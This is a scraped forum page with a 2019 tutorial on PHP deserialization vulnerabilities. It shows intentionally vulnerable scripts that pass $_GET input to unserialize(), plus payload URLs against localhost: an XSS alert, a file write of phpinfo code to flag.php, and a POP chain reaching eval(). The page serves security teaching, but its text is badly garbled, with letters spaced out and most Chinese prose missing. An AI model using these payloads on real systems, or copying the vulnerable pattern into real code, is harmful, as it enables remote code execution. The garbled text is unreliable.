[26887] 2019-12-27_PHP反序列化漏洞说明

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2019-12-27_PHP反序列化漏洞说明 P H P   s h a v c h e n   M s 0 8 0 6 7   2 0 1 9 - 1 2 - 2 7   #   , 2 3 P H P P H P s e r i a l i z e u n s e r i a l i z e . 3 < ? p h p c l a s s   T e s t {         p u b l i c   $ a   =   ' T h i s A ' ;         p r o t e c t e d   $ b   =   ' T h i s B ' ;         p r i v a t e   $ c   =   ' T h i s C ' ;         p u b l i c   f u n c t i o n   t e s t ( ) {                 r e t u r n   ' t h i s   i s   a   t e s t ! ' ;         } } $ t e s t   =   n e w   T e s t ( ) ; v a r _ d u m p ( s e r i a l i z e ( $ t e s t ) ) ; ? > s t r i n g ( 8 4 )   " O : 4 : " T e s t " : 3 : { s : 1 : " a " ; s : 5 : " T h i s A " ; s : 4 : " * b " ; s : 5 : " T h i s B " ; s : 7 : " T e s t c " ; s : 5 : " T h i s C " ; } " O : 4 " T e s t " 3 s : 1 : " a " ; s : 5 : " T h i s A " ; ;
1 a " T h i s A "   p r o t e c t e d     p r o t e c t e d % 0 0 % 0 0   % 0 0 % 0 0   t e s t   ; s : 4 : " * b " ; s : 5 : " T h i s A " ; * s : 7 : " T e s t c " ; s : 5 : " T h i s C " ; p h p c l a s s   T e s t {                   p u b l i c   $ a   =   ' T h i s A ' ;                   p r o t e c t e d   $ b   =   ' T h i s B ' ;                   p r i v a t e   $ c   =   ' T h i s C ' ;                   p u b l i c   f u n c t i o n   t e s t ( ) {                                     r e t u r n ' t h i s   i s   t e s t ' ;                   } $ t e s t   =   n e w   T e s t ( ) ; $ s T e s t   =   s e r i a l i z e ( $ t e s t ) ; $ u s T e s t   =   u n s e r i a l i z e ( $ s T e s t ) ; v a r _ d u m p ( $ u s T e s t ) ; o b j e c t ( T e s t ) # 2   ( 3 )   {           [ " a " ] = >   s t r i n g ( 5 )   " T h i s A "           [ " b " : p r o t e c t e d ] = >   s t r i n g ( 5 )   " T h i s B "           [ " c " : " T e s t " : p r i v a t e ] = >   s t r i n g ( 5 )   " T h i s C "  
s e r i a l i z e ( ) u n s e r i a l i z e ( ) J a v a P H P s e s s i o n c o o k i e P H P   u n s e r i a l i z e ( )   _ _ d e s t r u c t w r i t e O b j e c t r e a d O b j e c t _ _ c o n s t r u c t ( )         # C , , u n s e r i a l i z e ( ) _ _ d e s t r u c t ( )         # C , _ _ t o S t r i n g ( )         # 使 _ _ s l e e p ( )               # s e r i a l i z e ( )       _ _ w a k e u p ( )             # u n s e r i a l i z e ( )       _ _ c a l l ( )                 # _ _ g e t ( )                   # _ _ i s s e t ( )               # 访 i s s e t ( ) e m p t y ( ) _ _ u n s e t ( )               # 访 使 u n s e t ( )
p a y l o a d _ _ w a k e u p u n s e r i a l i z e ( ) . / p h p c l a s s   t e s t {         v a r   $ t e s t   =   " h e l l o " ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                         e c h o   $ t h i s - > t e s t ;         } $ a   =   $ _ G E T [ ' i d ' ] ; $ a _ u   =   u n s e r i a l i z e ( $ a ) ; 1 2 7 . 0 . 0 . 1 / U n s e r i a l i z e / t e s t . p h p ? i d = O : 4 : " t e s t " : 1 : { s : 4 : " t e s t " ; s : 4 0 : " < s c r i p t > a l e r t ( / y o u   a r e   h a c k e d / ) < / s c r i p t > " ; } _ _ w a k e u p ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p ( )
  . t e s t u n s e r i a l i z e ( ) t e s t f l a g . p h p 访 f l a g . p h p _ _ d e s t r u c t ( ) p h p c l a s s   t e s t {         v a r   $ t e s t   =   ' 1 2 3 ' ;         f u n c t i o n   _ _ w a k e u p ( ) {                 $ f p   =   f o p e n ( " f l a g . p h p " , " w " )   ;                 f w r i t e ( $ f p , $ t h i s - > t e s t ) ;                 f c l o s e ( $ f p ) ;         } $ a   =   $ _ G E T [ ' i d ' ] ; p r i n t _ r ( $ a ) ; e c h o   " < / b r > " ; $ a _ u n s e r   =   u n s e r i a l i z e ( $ a ) ; r e q u i r e   " f l a g . p h p " ; < ? p h p   p h p i n f o ( ) ; ? > _ _ w a k e u p ( ) 7 : " t e s t " : 1 : { s : 4 : " t e s t " ; s : 1 9 : " < ? p h p   p h p i n f o ( ) ;   ? > " ; }
  n o   n o   n o P O P P O P   g a d g e t u n s e r i a l i z e ( ) R O P   g a d g e t " g a d g e t " _ _ t o S t r i n g _ _ c o n s t r u c t ( ) _ _ w a k e u p ( )
i d     f l a g . p h p p h p c l a s s   t e s t 1 {         f u n c t i o n   _ _ c o n s t r u c t ( $ t e s t ) {                 $ f p   =   f o p e n ( " f l a g . p h p " , " w " )   ;                 f w r i t e ( $ f p , $ t e s t ) ;                 f c l o s e ( $ f p ) ;         } c l a s s   t e s t 2 {         v a r   $ t e s t   =   ' 1 2 3 ' ;         f u n c t i o n   _ _ w a k e u p ( ) {                 $ o b j   =   n e w   t e s t 1 ( $ t h i s - > t e s t ) ;         } $ a   =   $ _ G E T [ ' i d ' ] ; p r i n t _ r ( $ a ) ; e c h o   " < / b r > " ; $ a _ u n s e r   =   u n s e r i a l i z e ( $ a ) ; r e q u i r e   " f l a g . p h p " ; t e s t 2 _ _ w a k e u p n e w t e s t 1 ( $ t h i s - > t e s t ) t e s t 1 _ _ c o n s t r u c t ( ) < ? p h p   p h p i n f o ( ) ; ? >
" "
m a i n p h p c l a s s   m a i n   {         v a r   $ t e s t ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > t e s t   =   n e w   t e s t 1 ( ) ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 $ t h i s - > t e s t - > a c t i o n ( ) ;         } c l a s s   t e s t 1   {         f u n c t i o n   a c t i o n ( )   {                 e c h o   " h e l l o   w o r l d " ;         } c l a s s   t e s t 2   {         v a r   $ t e s t 2 ;         f u n c t i o n   a c t i o n ( )   {                 e v a l ( $ t h i s - > t e s t 2 ) ;         } $ a   =   n e w   m a i n ( ) ; u n s e r i a l i z e ( $ _ G E T [ ' t e s t ' ] ) ; n e w m a i n ( ) _ _ c o n s t r u c t ( ) n e w t e s t 1 ( ) _ _ d e s t r u c t ( ) a c t i o n ( ) h e l l o   w o r l d
t e s t 2 a c t i o n e v a l . 使 P H P U R L p h p c l a s s   m a i n   {         v a r   $ t e s t ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > t e s t   =   n e w   t e s t 2 ( ) ;         } c l a s s   t e s t 2   {         v a r   $ t e s t 2   =   " p h p i n f o ( ) ; " ; e c h o   s e r i a l i z e ( n e w   m a i n ( ) ) ; O : 4 : " m a i n " : 1 : { s : 4 : " t e s t " ; O : 5 : " t e s t 2 " : 1 : { s : 5 : " t e s t 2 " ; s : 1 0 : " p h p i n f o ( ) ; " ; } } 1 2 7 . 0 . 0 . 1 / U n s e r i a l i z e / t e s t 3 . p h p ? t e s t = O : 4 : " m a i n " : 1 : { s : 4 : " t e s t " ; O : 5 : " t e s t 2 " : 1 : { s : 5 : " t e s t 2 " ; s : 1 0 : " p h p i n f o ( ) ; " ; } } < ? p h p e v a l ( " p h p i n f o ( ) ; " ) ? >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则